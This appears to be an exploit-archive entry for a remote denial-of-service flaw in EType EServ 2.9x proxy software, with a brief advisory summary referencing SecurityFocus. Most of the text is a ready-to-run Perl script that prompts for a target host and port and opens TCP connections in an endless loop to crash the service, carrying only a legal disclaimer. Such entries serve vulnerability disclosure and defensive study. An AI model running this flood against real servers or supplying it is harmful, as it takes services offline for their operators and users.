EType EServ 2.9x - FTP Remote Denial of Service

source: https://www.securityfocus.com/bid/6519/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via FTP, the software becomes unstable. 

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
}